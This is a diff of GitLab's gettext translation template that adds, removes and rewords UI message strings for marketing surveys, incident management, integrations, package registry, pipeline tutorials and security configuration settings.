msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -17182,6 +17457,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -17221,6 +17499,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -17236,10 +17517,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -17275,9 +17556,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17353,6 +17643,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17392,6 +17685,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17431,6 +17727,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17446,9 +17745,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17578,7 +17874,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17777,10 +18073,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17858,7 +18154,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -18044,7 +18340,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18278,6 +18574,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18347,12 +18646,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18380,6 +18673,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18425,6 +18739,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18527,6 +18844,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18536,6 +18856,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18569,13 +18895,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18599,7 +18925,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18674,6 +19000,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18689,10 +19018,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18779,7 +19108,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18827,6 +19156,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -18842,6 +19183,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18935,6 +19279,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18968,6 +19315,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18995,9 +19345,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -19034,6 +19405,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -19278,18 +19652,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19461,6 +19829,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19497,6 +19871,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -19999,7 +20376,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -20257,6 +20634,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20344,6 +20724,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20539,6 +20922,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20590,9 +20976,6 @@ msgstr ""
msgid "Merge request"
msgstr ""
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20881,10 +21264,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20987,6 +21370,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -21161,10 +21547,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21423,6 +21809,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21555,6 +21947,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21582,6 +21977,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21751,9 +22149,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21853,9 +22248,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -22205,7 +22597,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -22232,6 +22624,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -22445,6 +22840,9 @@ msgstr ""
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22779,6 +23177,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -23161,7 +23562,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -23260,7 +23661,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23326,6 +23727,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23353,6 +23757,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -23395,6 +23802,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -23416,6 +23826,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23467,9 +23880,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23479,6 +23901,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23494,6 +23919,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23539,6 +23967,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23551,12 +23982,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23653,7 +24078,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23668,6 +24093,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -23719,6 +24147,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23854,6 +24285,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23932,6 +24366,9 @@ msgstr ""
msgid "Pipeline Schedules"
msgstr ""
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23986,6 +24423,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -24052,6 +24537,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -24109,6 +24597,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -24130,6 +24621,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -24184,6 +24678,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -24214,9 +24711,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24514,9 +25008,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24553,6 +25053,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24562,6 +25065,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24595,9 +25101,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24625,6 +25128,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24781,6 +25287,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -25135,7 +25644,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -25393,6 +25902,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25546,9 +26058,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -26023,9 +26532,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -26077,12 +26583,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -26095,6 +26595,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -26107,9 +26610,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -26125,10 +26625,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -26137,9 +26637,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26887,9 +27384,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26899,6 +27393,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26999,7 +27496,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -27234,9 +27731,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -27252,6 +27746,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -28211,6 +28708,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28810,16 +29319,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28834,6 +29352,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28846,6 +29367,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28858,10 +29382,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28870,6 +29394,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
